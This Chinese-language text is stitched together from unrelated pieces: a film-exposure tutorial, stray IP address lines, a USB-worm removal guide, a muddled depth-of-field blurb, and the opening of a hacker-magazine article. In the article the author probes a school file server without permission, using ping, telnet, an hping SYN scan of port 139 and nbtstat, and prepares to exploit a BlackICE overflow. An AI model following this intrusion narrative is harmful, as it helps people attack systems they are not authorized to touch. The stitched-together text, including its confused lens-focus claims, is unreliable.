下面来个实验:晴天在佛罗里达,在侧光情况下拍摄白鹭的大特写,应该如何估计正确的曝光值?你应该可以估算出正确的结果。因为我们会使用一个长焦镜头,所以使用“快速f/5.6”法则。缩小一挡曝光以记录白鹭身上白色的细节,因为侧光所以再开大一挡,现在又回到了“快速f/5.6”的曝光值了,这就是我们估计的曝光值。现在让我们再试着在9月份的大晴天里,到黄石公园逆光拍摄深褐色的野牛。我们拍的野牛是不怎么走动的,所以我们使用“晴天f/16”法则。因为是深色对象,所以开大一挡;因为是逆光拍摄,所以再开大两挡。这样一共开大了三挡曝光值(从f/16开大到f/5.6)。当然你也可以开大或缩小光圈或快门的组合,以挑选一个你认为合适的曝光参数。

虽然你不会总使用这些估计的曝光参数去拍摄照片,但“晴天f/16”法则是个很有帮助的参考。你可以经常使用这个法则来检查你的测光表的读数,因为这个法则提供了一个已知的曝光基准。如果你在明亮的太阳下拍摄,你的测光表的读数应该和“晴天f/16”法则是相近的,除非是有什么东西出了问题。是不是相机的电池快没电了?或者是你忘记把滤镜从镜头上拧下来(例如,使用偏振镜一般需要开大两挡曝光)?当在明亮的光照条件下拍摄时,例如在佛罗里达拍鸟或在肯尼亚拍野生动物,最好把相机的曝光参数预先设置为估计值,这样就可以应付一些突发的事情,有利于抓拍。

使用“晴天f/16”法则还会遇到一个问题,你需要知道如何把镜头的光圈设置为f/16。这看似是个很简单的问题,但对有些镜头来说并不容易。现今的许多变焦镜头都使用一种称为“可变光圈”(variable aperture)的设计,当镜头变焦时,实际光圈大小也跟着改变。这些镜头用两个f值标记它们的最大光圈值,例如Nikon 28-105mm f/3.5-4.5或Canon 35-350mm f/3.5-5.6。如果要实现恒定光圈,当镜头焦距改变时,光圈也必须作相应变化。如果光圈保持物理大小不变,那当镜头变焦时,光圈f值就会发生变化。对于大多数可变光圈的镜头,镜头上标记的光圈值只在短焦一端是正确的。对于老式的相机,或者只用镜头短焦一端使用“晴天f/16”法则,或者随着镜头变焦推测合适的光圈值。我之所以称一些相机是“老式的”,因为许多新型号的相机可以通过电子控制的方式设置光圈值,或者是有这个可选的功能。所有的Canon镜头都是以这种方式工作,Nikon镜头既可以通过镜头上的光圈环用机械方式设置,也可以使用相机机身上的指令转盘以电子方式设置。当使用电子方式设置时,你设置的光圈值就是实际的光圈大小,只有长焦端的最大和最小光圈是个例外。

让我们使用Nikon 28-105mm的镜头说明上面讲述的现象。当光圈开到最大时,镜头焦距由28mm变焦到105mm,光圈大小也会从f/3.5变化为f/4.5。这里有2/3挡的变化。这个2/3挡的变化同样会发生在最小光圈时。在28mm端,最小光圈是f/22;而在105mm端,是f/29。如果使用电子方式在f/4.5和f/22之间设置光圈值,当镜头焦距变化时,光圈会保持恒定不变。综合上面的事实,如果在使用电子相机和变焦镜头时使用“晴天f/16”法则,应该避免使用最大或最小光圈。只要使用中间的光圈值,就不会对“晴天f/16”法则的应用有任何影响。

顺便说一句,如果以前从来都不知道有估计曝光和“晴天f/16”法则这回事,那你真的是错过了一个非常有用的工具。如果想得到更多的信息,请查看富士或柯达胶卷包装盒里印刷的内容。

毫不疑问,不论是专业摄影师还是业余爱好者,所有摄影者都要面对的主要问题是如何使胶片正确的曝光。如果曝光错误,那其他的都是开玩笑。你可能有最新最贵的器材、去到那些最迷人的地方、在最恰当的时间和光线下到达最恰当的位置、并且你的摄影技术很精湛……但是错误的曝光会是使你拍出一堆可以直接扔到垃圾桶的照片。

对于许多摄影者来说,使用他们的相机中内置测光表建议的曝光值曝光就是正确的曝光了。但是,测光表总是能告诉我们正确的曝光值吗?我将深入的讨论这个话题,如果你想变成一个更好的摄影师,对曝光理论的深入理解是个很好的开始,因为曝光是摄影概念中最最基本的。如果想躲避这些摄影的基础知识,那就不可能成功面对更高级的摄影技术。

我假设你的照片质量对你很重要,否则你大可不必继续读下去。如果你打算拍摄出好的照片,那你就要能够控制曝光的整个过程。“控制”可以这样实现,使用相机上的所有的曝光参数拍摄同一场景,然后在这些照片里选择一张最好的,但这明显是对胶片和时间的浪费。如果你打算这样做也不是不可以,但你如何记录那些一辈子只出现一次的瞬间?你的目标应该是在所有可能的情况下都能准备好正确曝光,并且知道你的曝光是不是你想要的。这当然不是说我们总要手工设置曝光参数,而不理会相机的测光表,但我个人相信相机的手动模式是最容易使用的,因为你设置的就是你最终得到的。使用“光圈优先”或“快门优先”同样可以拍摄出精彩的照片,但前提是你要清楚的知道相机是如何选择曝光参数的,并且有足够的知识让你可以正确的衡量相机选择的设置是不是就是你想要的,在需要时你还要知道如何去修改它们。做为一个摄影师,你的相机应该始终在你的掌控之中,而不要让你的相机控制你。

在我开始讨论如何正确曝光之前,我们需要先定义一些常被误用或误解的术语。“正确的曝光”意味着底片的曝光是以你想要的曝光结果进行的。举个例子,比如说你在Arches National Park拍摄一张沙石和蓝天的照片。如果你希望底片上的天空是浅蓝色,而实际上洗出来后确实是浅蓝色,那你的曝光就是“正确的曝光”。因为你得到了你想要的结果。

然而,如果底片上的天不是浅蓝色时会怎样?那说明你设置了一个错误的曝光值。如果天空的色调比你想要的更浅,那你的底片“曝光过度”了。在这样的情形下,浅蓝色的天空变成了灰色,或者说是退色的发白的蓝色,比你拍摄时看到浅蓝色浅很多。

当然,相反的错误也会有问题,天空的色调比你想要的要深。例如,在你的底片上,浅蓝色的天空变成蓝色或深蓝色。这时你得到一张“曝光不足”的底片。但是,如果你的照片主题需要用这样深色的色调表达,那你的曝光也是正确的曝光。

简单来说,“正确的曝光”是指底片曝光结果和你想要的一致;“曝光过度”指底片曝光的表现比你希望的要亮;“曝光不足”指曝光结果比你希望的暗。请注意,在这三种情形中,都没有提及相机中的测光表。曝光正确与否和相机自动曝光系统中测光表的读数没有任何关系。测光表建议的曝光值只是在一个特定的曝光级别上的读数,它也许是正确的曝光设置,也许不是。如果你一直使用相机测光表曝光(例如一直把你的相机设置为“自动曝光”模式),那你有可能会得到希望的曝光结果,有时未必。问题是:这些曝光结果是你想要的吗?为什么有对有错?一个解决办法是使用负片(负片在解决曝光问题上比幻灯片有一定的优势)并在放大时对曝光问题进行修正。然而,让曝光问题一直存在不是一个现实的解决方法。俗话说“垃圾终究是垃圾”,最好的办法是在错误发生前就纠正它。

我曾经读过一篇文章关于在大街上随机询问路人,“你对照片质量的定义是什么?”结果是,许多人对“照片质量”的定义是能够从照片中认出自己。他们并不关心有没有失焦,构图是不是够好,也不关心颜色是不是还原的真实。当然,我相信这个定义肯定不能被你接受。如果你和我的年纪差不多,那你一定还记的彩色电视机刚出现的年代里的事情。那时候我迫不及待的跑去邻居家看电视,因为他家是我那个街区里第一个买彩色电视机的。那时候的彩色电视机有很夸张甚至恐怖的色彩表现,但当Ed Sullivan的桔子色的脸在屏幕上出现时,还要关心那么多吗?至少他是彩色的,这就够了。

感谢上帝我们已经经过了那个年代,现在彩色电视的表现已经很接近真实了。这个例子还告诉我们,不仅彩色电视机的发展要经历这个过程,我们的照片同样会有这个过程。能够使我们拍出精彩的照片的,不是某个镜头或某个型号的胶卷,也不是某个少见的很神秘的滤镜。能够使我们拍出精彩的照片的,是摄影技术的恰当的使用,这其中就包括对曝光过程的深入理解和运用。我们的最终目标是要达到,不论在何种光线条件下,也不论在任何地点,我们都能使底片曝光正确。相对于凭运气使底片曝光正确,我们需要掌握在任何时候都可以应用的精确而且熟练的摄影技术和技巧。

在我看来,对曝光的控制是整个摄影过程中最基础也是最重要的一个成分。你必须学会在按下快门前就能确保在底片上的成像和你想象中的是一样的。当然,这是一个渐进的学习过程,对于一个初学者来说是很不错的照片放在一个高级摄影师眼里,也许是属于被舍弃的范围。但别气馁,你对底片的控制能力会随着你的努力而逐渐增加的。我们最终的目的,不是成为一个被程式化的曝光规则所左右的摄影技术的奴隶,而是能够在充分理解曝光理论和技术的基础上,成长为一个真正的摄影师。

现在我继续解释一些重要的名词,以便我们能使用文字来讨论曝光的问题。在整个摄影过程中,和曝光有关的事情都会围绕着一个重要的概念“挡”。“挡”在这里定义为一个给定参数的一半或者一倍。他们是相关联的,比如,对于一个给定的曝光参数,你可能需要这个参数的一半,或这个参数的一倍。这个一半和一倍的概念会经常出现后面我们关于曝光的讨论中。对“挡”的理解和使用越清晰,那么对曝光控制就能越自如。

在任何摄影过程中有三个因素决定了实际曝光量的多少:(1)相机机身上设置的快门速度;(2)镜头的光圈大小;(3)使用的底片的感光度。“快门速度”决定了快门幕帘打开的时间长短,从而决定了有多少光线可以照射到底片上。快门速度的数值表示快门开启的到关闭的间隔,通常以秒表示。“光圈”决定了镜头打开的大小程度,当快门打开时,光圈大小决定了有多少光可以通过镜头照射到底片上。这个设置通常用“f-挡”的数值来表示。“底片感光度”表示在一定的光线照射下,底片上感光材料发生化学反应的速度,通常用ISO数值表示。所有上述三个参数都是通过“挡”位的加倍或减半来设置,而且这三个参数是互相关联的。下面我先分别介绍这三个参数,然后在解释他们之间的关系。

快门速度

快门速度通过秒或几分之一秒来表示时间的长短。不同的相机生产厂家的机身会有不同的快门速度起始范围,这个范围也是很重要的。所有的单镜头反光照相机至少都有以下的快门速度(也许会更多):1、1/2、1/4、1/8、1/15、1/30、1/60、1/125、1/250、1/500、和1/1000秒。有些相机的速度会使用简略方式,如把1/30秒标记为“30”。为了区分秒和分之一秒,一般会在机身上使用不同的颜色或其特殊的标记标示这些数字。例如,Nikon和Canon的机身通过在数字2后面加一个分号(“)标记来表示秒,因此2”表示2秒而不是1/2。仔细阅读你的相机的说明书,看看你的相机是如何进行区分的。

看了上面一系列的快门速度会发现,每一个快门速度都是前一个速度的一半,而是后一个的一倍。例如,1/125秒是1/60秒的一半,而是1/250秒的一倍。它们都相差一“挡”,每一挡都相差一半或一倍的时间。从1/125秒到1/250秒移动了一挡(时间减半),到1/500秒又移动一挡(再次减半),到1/1000秒就移动了三挡。来个小小的考试:从1/30秒到1/500秒需要移动几挡?再往相反方向(往速度慢的快门方向),从1/30秒到1/2秒需要移动几挡?你知道正确的答案吗?答案很简单:都是需要移动4挡。

当相机设置为某种特定的自动曝光模式时,大多数相机可以实现“无级”的快门速度。也就是说,快门速度可以被电子装置决定并设置为任何快门速度,而不受固定的挡位的限制。但即使相机被设置为这种模式,“减半”和“加倍”的概念依然存在。在最近几年新上市相机中,大部分相机的快门速度可以进行1/3挡的增减。例如,我的Nikon相机的快门挡位包括:1/8、1/10、1/13、1/15、1/20、1/25、1/30、1/40、1/50、和1/60秒等等。从1/30到1/60秒是一挡,同样的,从1/20到1/40和从1/13到1/25也是一档。

当你改变了快门速度时,同时也改变了运动物理被记录在底片上的方式。快门速度越快,运动物体就会在底片呈现更清晰的影象,反之,快门速度越慢,运动的物体就越模糊。

光圈

镜头的光圈大小,同样用挡位来表示,使用f挡的数值表示。但是值得注意的是,虽然f-挡每挡之间也是减半或加倍的关系,但f挡的数值并不是减半或加倍的。标准的f挡序列为:f/1、f/1.4、f/2、f/2.8、f/4、f/5.6、f/8、f/11、f/16、f/22、和f/32。不是所有的镜头都有这些挡位,一般只是有其中的一些挡,尤其是那些使用大底片(大于35mm)的相机,可能还有其他的一些挡位。最重要的一点是,应该明白这些数值表示的是光圈通过镜头的孔径(光圈)的大小。上面的光圈值序列包括了所有的挡位。每一挡光圈相对于它前后的挡位,只能让一半或一倍的光线通过镜头。一定要记熟这些光圈挡位的数值,并能够轻松的增减计算。

虽然从数值上看,光圈值没有写成分数,但实际上它们都是分数。把光圈值看成分数也方便理解光圈值和光圈大小的关系:光圈值越大,光圈越小,通过镜头的光线就越少。例如f/2表示一个相当大的光圈孔径并可以通过很多的光线,而f/22则是一个很小的光圈孔径,仅仅很少的光线可以通过。可以把他们看成分数来理解:1/2比1/22要大很多。

现今,许多相机都可以以数字方式显示光圈值,并能象快门速度那样实现1/3挡的增减。例如,你可能会发现这些f值:4、4.5、5、5.6、6.3、7.1、8、9、10、和11。只要记住改变一挡一定有一挡的增量变化,而无论这一挡是从哪开始的。从f/4到f/5.6是一挡,就和从f/11到f8也是一挡一样。同样,从f/5(比f/5.6低1/3挡)到f/7.1(比f/8底1/3挡)或从f/6.3到f/4.5也都是一挡。虽然数值上他们不是线形的,当同样适用减半和加倍的概念。还需要提及的是,有很少的一些相机可以进行1/2挡的增减设置,而有一些(例如Nikon F100)可以用程序控制的方式设置所有的挡位:1/2挡或1/3挡。再提醒一下,一定要仔细看看你的相机说明书。

在现代的镜头里,只有比较少的一些还保留有真正手动的光圈环。Nikon的镜头一直都有这个功能(包括所有的大画幅相机的镜头)。虽然光圈环一般在转到每一挡的位置时都有明显的停顿的手感,但还是可以把光圈环转到任意一个位置。光圈环停顿的感觉只是方便计算光圈转动了几挡,并没有其他的含义。大多数大画幅相机的镜头有指针或刻度来标示光圈值。

有两个术语一直用来分别表示光圈的变化。“开大”表示使光圈更大,使镜头有更大的通光孔径。这意味着准许更多的光线通过镜头照射到底片上。另一个术语“收缩”实现相反的过程,使光圈更小,减少通过镜头到达底片的光线数量。所以可以这样说:从f/8开大光圈到f/4,或从f/8收缩光圈到f/16。

快门速度和光圈大小一起配合可以控制有多少光线可以到达底片上,而且这两个因素必须要同时考虑。它们都是以挡位的方式工作的,而且是相互关联的,我们称之为“互易关系”。一旦可以确定正确的曝光需要的光线总量,快门速度和光圈大小中的任一个发生了改变,都可以很快的根据互易关系确定另一个应该设置的值。在照射在底片的光线总量不变的情况下,一挡快门速度的改变等同于相反方向上一挡光圈大小的变化。也就是说把快门和光圈中的一个减半,而把另一个加倍,通过镜头照射到底片的光线总量(也就是曝光量)是一样的。

互易关系是个很重要的概念,所以你必须理解它。你可以这样理解,把快门速度加倍并且把通过光圈的光线量减半,完全等同于把快门速度减半同时开大光圈让加倍的光线进入镜头。我们来做两个比喻,例如你想倒一升水,你可以把水龙头开的很大,在一瞬间就倒满一升,也可以把水龙头开的很小,让水一滴一滴的流出来,这样会需要很长时间。但这两种方法没有任何区别,最终你都能得到一升水。这就是互易关系。再打个比方,你需要挣20块钱。你可以找一份每小时能挣4块钱的钟点工,干5个小时;或者找个每小时挣5块钱的工作,干4个小时。或者其他什么的,每小时2元的工作干10小时,或每小时10元的工作干2小时。你可以任意选择,但最后你得到的都是20块钱。

用摄影的术语来表达,就是可以用慢速快门加小光圈或者用快速快门加大光圈,两种方法得到的曝光量是一样的。但是(注意,这点很重要)两种方法在底片上成像的效果是不一样的。成像效果不同的原因我会在后面关于景深和移动物体控制的章节里介绍。从这一点开始,做为一个摄影师,你应该开始学习怎样判断你的照片的效果是不是和你希望的效果一致。

在实际操作中,互易关系意味着,一旦通过对场景测光(后面会讲到如何进行测光)而得到一个特定的曝光量后,你可以很自如的选择一个快门和光圈组合,而得到正确的曝光。假设对某个场景的合适的曝光值是1/15秒和f/11。你可以把快门速度增加到1/8秒(改变一挡,快门时间加倍)并且把光圈缩小到f/16(同样改变一挡,光线减半)。因为1/15秒和f/11,与1/8秒和f/16是完全等同的曝光。同样的,还可以使用1/4秒和f/22、1/30秒和f/8、1/2秒和f/32、和1/60秒和f/5.6。所有这些组合都可以让相同总量的光线照射到底片上,而得到正确的曝光。了解了这些,我们就可以选择使用我们需要的光圈大小或快门速度,并且做出符合互易关系的调整。

实际上,这个互易关系在相机上实现起来比我们在这讨论来的更容易。在你改变光圈或快门的设置时,记录下改变的挡数,同样改变相同挡数的另一个设置就可以了。只要确保一个是增大,另一个是减小,就可以保证得到相同的曝光量。例如,假设1/250秒和f/4是正确的曝光值。那么增加4挡快门到1/15秒(增加快门时间)同时需要缩小4挡光圈到f/16(缩小孔径),这样就可以得到相同的曝光量。如果你的相机的快门和光圈有相同的增量,例如1/2挡或1/3挡,那你只要数快门转盘和光圈环转了几个挡位就可以了。

底片速度(感光度)

实际上快门速度和光圈的选择很大程度上要看你拍摄时使用的底片类型。底片对光线的敏感程度用“底片速度”来表示,或者称为ISO值。低ISO值的底片被称为“慢速”底片,因为在底片上成像时需要比较多的光线来完成底片上的化学反应;相反,高ISO值的底片称为“快速”底片,因为它们需要比较少的光线就能完成同样的事。我们通常把ISO值小于100的底片归类为慢速底片,ISO值为100-200的称为中速底片,那些ISO值大于等于400的称为高速底片。后面我会有专门的一节更详细的讨论底片,但有一点现在就要说明,那就是,随着底片速度的增加,底片的成像质量会下降。

我先前曾提到过,底片的速度也是使用“挡”位的方式表示,同样也就使用增倍和减半的概念,就想快门和光圈一样。再强调一次,你对“挡”的概念理解的越透彻,你对曝光的深入理解就会越容易。底片速度的表示是个线形的序列,每一个ISO数值都表示一挡,每挡之间都是增倍或减半的关系。例如,从ISO50到ISO100相差一挡,到ISO200是第二挡,再到ISO400相差三挡。通过简单的增倍或减半很容易计算出这些数值。再例如,ISO1600和ISO25之间相差几挡?是的,也许你看出来了,我试图通过逆向的计算来迷惑你,但如果你对这种计算很明白了,就不会被迷惑而算出正确的结果。所以,从1600开始,我们可以算出800、400、200、100、50、25,一共6个挡。

对ISO值之间的关系的认识,对你在恰当的时候选择恰当的底片是很有帮助的。如果你已经知道使用某种速度的底片进行正确曝光时需要的曝光量,那你很容易的就能换算出使用另一种速度的底片在进行相同曝光时的曝光量,前提是你知道这两种底片的速度关系。其实很简单,只是对挡位的增减就可以了。例如,如果是用柯达E100S(ISO100)底片时正确的曝光参数是1/15秒和f/8,那如果使用富士Provia 400(ISO400)底片时正确的曝光参数应该是多少呢?计算ISO值的不同:从100开始,加倍得到200,再加倍是400,所以ISO值增加了两挡。因此把E100S的曝光参数改变两挡就是富士底片的正确曝光参数了。我们把曝光参数改为:1/60秒和f/8。当然你可以改成任何等价的曝光值,例如1/60秒f/8等同于1/125秒f/5.6或1/250秒f/4或1/500秒f/2.8,或者换一个方向,1/30秒f/11或1/15秒f/16或1/8秒f/22。

标准的底片速度挡位也是以1/3挡为增量的。

25 32 40 50 64 80 100 125 160 200 250 320 400 500 640 800

不是所有的速度都有相应的底片,不过需要记住的是ISO值增倍或减半就意味着相差一挡。ISO200比ISO800慢两挡,但比ISO50快两挡。从上面的序列中,可以得出柯达的Kodakchrome 64(ISO64)比Porvia 100F(ISO100)慢2/3挡。

有些相机不能在机身上显示所有的ISO数值,因为没有地方标记那么多的数字。所以在这些相机上的1/3挡增量都用圆点表示,类似下面这样:

25 . . 50 . . 100 . . 200 . . 400 . . 800

再补充说明一下,在有的相机上,快门速度或光圈f值也是以这种圆点的方式来标识的,因为它们可能没有很大的转盘,没有足够的地方来标记这些数字。

一挡增量表示增倍或减半的概念是摄影中的一个基本原则。应该学习用这种挡位的概念去思考曝光问题。我的摄影师的工作,以及这本书的论述,都是基于对挡位的概念的理解来完成的。如果你对这些概念不是很适应,请耐心的重读这一节。对曝光基本理论以及挡位概念的理解,注定将对你的摄影工作和你希望成为一个更好的摄影师的愿望有很大的帮助。

导引:应该拍些什么?

每年,我都会去世界各地拍摄照片,经常会带领一些旅游摄影团或小组。参加这些团队的人大多对自然摄影都非常感兴趣,在这些旅途中我都无可避免的被问到同一个问题:我们到那去拍些什么?

其实这是一个不该问的问题,这个问题会使拍摄出的照片缺少一些让人激动的内容。如果没有激情,我们拍摄出的照片无非只是记录一些场景。我们经常问自己的问题应该是“我们到那应该去发现什么?”只有当我们的大脑和眼睛满怀热情的去发现那些大量存在于我们身边的自然界里的惊奇事物时,我们才会有拍摄的兴趣。

摄影的过程应该一个发现新事物的过程,同时也是一个记录这些发现的过程。在这个摄影的过程中,我们通过许多决策而使我们周围混沌的事物变的有序。我们必须做出决定,要突出强调我们发现的事物的哪个方面,而忽略其他的。我们会希望用一种恰当的方式表现某个主题,以表达我们自己是如何被它感动的。为了作到这些,我们必须做出冷静的决定:取景器里应该包括那些东西,以及如何组织这些内容。从这开始,摄影的过程也开始了。现在我们又必须做出一些技术性的考虑,当然是和摄影相关的:使用什么镜头、什么底片、如何用光、以及如何曝光。

摄影的过程应该是经过认真考虑的和有计划的。摄影创作的任务就是对可见环境的设计和组织,但是这个设计不会无端的出现。对于镜头、底片、和自动曝光的选择过程也是一样的。我们必须能够熟练地应付摄影中遇到的美学以及摄影器材出现的问题,否则我们会得到失败的结果。

摄影这种双重的本质一直吸引着我。对于好的摄影作品,各个方面是平行发挥作用的,不会互相压倒对方。形式和内容在一起构成一个和谐的整体,使它成为一个同时吸引着观众思维和感情的有趣的作品。为了达到这种和谐,作为摄影师的你必须同时完成两个方面的工作。一方面,你必须是一个诗人和艺术家,发挥你的想象力来面对直观的和神秘的世界;另一方面,你必须是一个技师,理性的来处理快门速度、光圈值和焦距。没有技术的想象力和没有想象力的技术同样是失败的。我们肯定都看过那些凭着个人的热情和感情拍摄的照片,但缺乏技术性的竞争力。我们会因为这些照片缺乏组织性而丢弃它们,而且会认为拍摄者没有使用好摄影这个工具。同样,我们也一定看到过那些技术很精湛的照片,但是它们缺乏照片的灵魂,是缺乏艺术气息的、空洞的、没有灵感的作品。

很多人都比较缺乏摄影技术方面的技能。我们通过眼睛可以看到很多图像,但怎样把它们记录在底片上呢?我们的旅行是非常精彩的,但往往最终拍到的照片却和我们的经历几乎没什么关系。为什么?我认为最主要的原因是,我们中的大多数人只是充当了一次临时摄影师。他们一直处在学习摄影的起步阶段,一直没有掌握基本的摄影技术。结果是,许多人倾向于买一架喜爱的相机,然后把它设置为自动对焦、自动曝光、甚至全自动的模式,这样他们根本不用去想相机是如何去工作的了。但是,这意味着他们放弃了摄影师的责任,而变成了一个相机携带者,而不是一个摄影师。他们让一个机器来为他们做出决定,而不是学习如何去控制这个机器。

我经常会很惊讶的听到有些人说,他们学不会如何操作相机,因为它太复杂了。我曾经遇到过,一些人在其他方面有非常强的能力,但当面对光圈f值或三脚架时,他们显得是那样无助。同样是这些人,他们可能是医生、律师、教师、或者是计算机程序员,他们每天都会做许多比操作相机更复杂的事情。其实相机只是一个机器,并不比其他机器更神秘。如果你能开汽车、骑自行车、或者操作电脑,同样你也一定能操作一架相机。

当掌握了摄影技术方面的技巧,你就能把更多的注意力放到美学层面上,这也是我为什么着重强调摄影技术的原因。如果你一直在笨拙的应付镜头和三脚架,那你大脑里的那些灵感很快就会蒸发掉。你一定也希望掌握摄影技术方面的技能,这样就可以更多的关注照片本身而不是具体的过程。如果想拍出精彩的照片,对摄影技术和美学两方面的掌握是必不可少的。

59.46.172.237 255.255.255.252 59.46.172.238

160.10.4.176 255.255.255.0 160.10.4.254

wsctf.exe和EXPLORER.EXE的查杀

相关症状:

1、多了wsctf.exe和EXPLORER.EXE两个进程,其中EXPLORER.EXE进程跟系统的EXPLORER.EXE进程名称一样,用msconfig查看发现了多了两个启动项目wsctf.exe和EXPLORER.EXE,在”C:\WINDOWS\system32”下面出现了两个文件:wsctf.exe和EXPLORER.EXE(两个都是隐藏文件)

2、不能正常运行浩方、冰封王座等软件

解决办法:

——插入受感染的U盘或MP3(如果有的话)

——按”Ctrl+Alt+Del”调出Windows任务管理器,结束掉EXPLORER.EXE进程,其中EXPLORER.EXE进程有两个,一个是系统的,一个是病毒的,系统的所在位置是”C:\WINDOWS”,病毒的所在位置是”C:\WINDOWS\system32”,只需结束掉病毒的进程就行了。若不能区别两个进程,可以把两个进程都结束掉,然后再切换到——应用程序——新任务——浏览——选择”C:\WINDOWS”文件夹下的explorer.exe,然后打开、确定就可以重新启动系统的EXPLORER.EXE进程了

——结束掉wsctf.exe进程

——打开”我的电脑”——工具——文件夹选项——查看——去掉“隐藏受保护的操作系统文件”前面的勾,在弹出的对话框中按“是”,然后再选择“显示所有文件和文件夹”——确定

——进入U盘或MP3(如果有的话),把wsctf.exe、EXPLORER.EXE、autorun.inf三个文件都删除掉,删除时会弹出是“系统文件”的对话框,不用管,直接按“是”删除就行(若不删除的话,下次使用的时候电脑会被再次感染)

——进入”C:\WINDOWS\system32”——删除掉文件夹里面的wsctf.exe和EXPLORER.EXE两个文件

——按第四步相反的操作,重新隐藏系统文件

——开始——运行——输入regedit,按确定后打开注册表,进入HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run目录,右键删除掉wsctf.exe和EXPLORER.EXE两条记录。进入HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, 可以看到键值项Userinit,其值为userinit.exe,EXPLORER.EXE,双击Userinit将中间的逗号和EXPLORER.EXE删除——确定

——重启电脑, 搞定!!

【导读】对焦距离越远景深越深,对焦距离越近景深越浅

在了解对焦距离之前,应该先了解两个概念:景深和焦距。

景深的概念:当某一物体聚焦清晰时,从该物体前面的某一段距离到其后面的某一段距离内的所有景物也都当清晰的。焦点相当清晰的这段从前到后的距离就叫做景深。景深分为前景深和后景深,后景深大于前景深。景深越深,那么离焦点远的景物也能够清晰,而景深浅,离焦点远的景物就模糊。

焦距是一个任何的光学仪器都有的不折不扣的光学参数。从光学原理来讲焦距就是从焦点到透镜中心的距离。对于镜头来说,焦距有着非常重要的意义。焦距长短与成像大小成正比,焦距越长成像越大,焦距越短成像越小。镜头焦距长短与视角大小成反比,焦距越长视角越小,焦距越短视角越大。焦距长短与景深成反比,焦距越长景深越小,焦距越短景深越大。焦距长短与透视感的强弱成反比,焦距越长透视感越弱,焦距越短透视感越强。焦距长短与反差成反比,焦距越长反差越小,焦距越短反差越大。

对焦距离越远景深越深,对焦距离越近景深越浅。因此在拍摄远景时应该选择较大对焦距离的镜头,而在拍摄近景时则应该使用较小对焦距离的产品。镜头对焦距离是用cm(厘米)表示的,可谓一目了然。

文章首发于《黑客X档案》杂志 转载请注意版权

1、 事出有因 最近学校新上了一台文件服务器,用于校园网内教师交换教案和资料共享之用。服务器正好放在我实验室隔壁,隔着玻璃就能看到。(可惜啊!可望不可及:-( )通过我多方打探,大体了解了服务器的网络设置,关键就在于服务器有两块网卡,一块居然和我们实验室相连(一开始不了解是为什么,事后才知道为了便于实验室的管理员远程管理!)一块与学校主干网相连。知道了这些手就痒痒了,更何况负责服务器安全配置的老师说他把机器配置得很无敌了!(汗!这么具有挑战性啊

2、 初试身手

由于我本身就在实验室,所以当然用服务器实验室的那段ip最方便了,因此以下我说的ip都是指服务器和实验室同网段的ip。很容易获得了文件服务器的ip 为192.168.203.2,我的机器的ip为192.168.203.16。很自然地ping了一下,结果如下: K:\mfm>ping 192.168.203.2

Pinging 192.168.203.2 with 32 bytes of data:

Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 Reply from 192.168.203.2: bytes=32 time<10ms TTL=128

居然可以ping得通!(难道没装防火墙?也许那个老师自信把所有漏洞都补上了,难道不怕我DDOS它?:-))。还是谨慎点好,我用了一贯测试防火墙的方法做进一步的检测在cmd下输入telnet 192.168.203.2 54321 大约经过了10几秒左右,出现下面的提示: K:\mfm>telnet 192.168.203.2 54321 正在连接到192.168.203.2…无法打开到主机的连接 在端口 54321 : 连接失败

我晕,根据经验肯定是有防火墙的!其实这个判断原理是很简单,你用telnet到目标主机的任意不存在端口,如果停留时间比较长后才出现连接不上的提示,那么几乎可以肯定对方装有防火墙了(或是其它包过滤设备)。但是有点奇怪,既然是防火墙为什么要允许ping呢?。不管它了,既然有了防火墙,那么先猜一下它可能开的端口吧。既然是文件服务器,估计ftp得开吧。连一下试试,如下:  ftp: connect :连接超时

我倒。。。ftp端口也被屏蔽!不是文件服务器嘛。。不用ftp难道用……共享?!!不至于吧,这也太……现在只有两种可能,要么ftp端口被改了,这样我得进行大范围的端口扫描(关键会留下好多的扫描记录撒!~~)另一种可能就是服务器没有使用ftp来上传管理文件而是采用的共享,我选择了第二种,因为第一种不太现实。既然是用共享的话,那么139端口应该是开放的吧? 好我试一下,这里要用到一个工具hping,这个工具可以自己定制数据包,使用方法如下: 方法如下: K:\mfm>hping Compiled by Anarchy@hk20.com

Usage: hping [options] host

-h Show this help menu 显示帮助菜单 -v Show version number 显示软件版本号 -c Stop after count response packets. 收到多少个响应包后停止发包 -i Interval in X (seconds) or uX (micro seconds) 发包间隔时间以秒或毫秒 -M Set sequence number 设置包序列号 -a Spoof source address 伪造源IP地址 -p Destination port -p 目的端口 -s Source port 源端口 -R Set RST tcp flag 设置RST位 -S Set SYN tcp flag 设置SYN位 -A Set ACK tcp flag 设置ACK位 -F Set FIN tcp flag 设置FIN位 -P Set PSH tcp flag 设置PSH位 -U Set URG tcp flag 设置URG位

后面的中文是我加的说明,相信大家一看就知道怎么用了。说了用法,我们来看看如何操作了,在cmd下输入:hping -S -p 139 -c 3 192.168.203.2 意思向192.168.203.2的139端口发送SYN数据包(就是请求连接的包)响应3次就停止发包,结果如图一。

哈哈!有回应了,说明我的猜测没有错!果然是用了共享。下面该怎么办呢?暴力破解?我可没那闲工夫!怪不得那个老师如此得意啊,原来只开了个139,其它的要么关闭了,要么被防火墙给屏蔽了!这么少的入口,当然不可能了!我几乎要放弃了,但是我又很不情愿,已经分析到了这一步。。。无奈之中无意间打了如下命令:nbtstat -A 192.168.203.2 结果却让我大大的吃惊, 如图二!

居然可以netbios查询!!我一下子来了兴致,因为我以前研究过很多防火墙,大部分防火墙把安全等级调到高级后,即使你允许139等netbios端口开放那么也是无法进行netbios查询的!wait!好象只有最近研究一款防火墙的溢出漏洞时发现这款防火墙默认是允许netbios查询的!!那就是——BlackICE SERVER PROTECTION!!其实这真是巧合,我前天刚从天天安全网down的blackice,然后在securiteam.com看到的溢出代码和漏洞分析报告,真没想到这个文件服务器……等等,我还是最好再确认一下吧!可是我该如何进一步确认呢?从网上的漏洞分析报告来看,该漏洞是由于ISS产品中的协议分析模块(iis_pam1.dll)在处理ICQ v5协议中的SRV_META_USER命令字段的时候由于未能检测该字段的长度从而引起缓冲区溢出的。Blackvice没有开什么特定的管理端口,没有非常明显的特征,所以单凭技术是非常难以判断的……那么还是另辟新径吧! 三、无所不用其极 无敌(哭丧着脸):老师,救命啊!!! 老师:啥事啊? 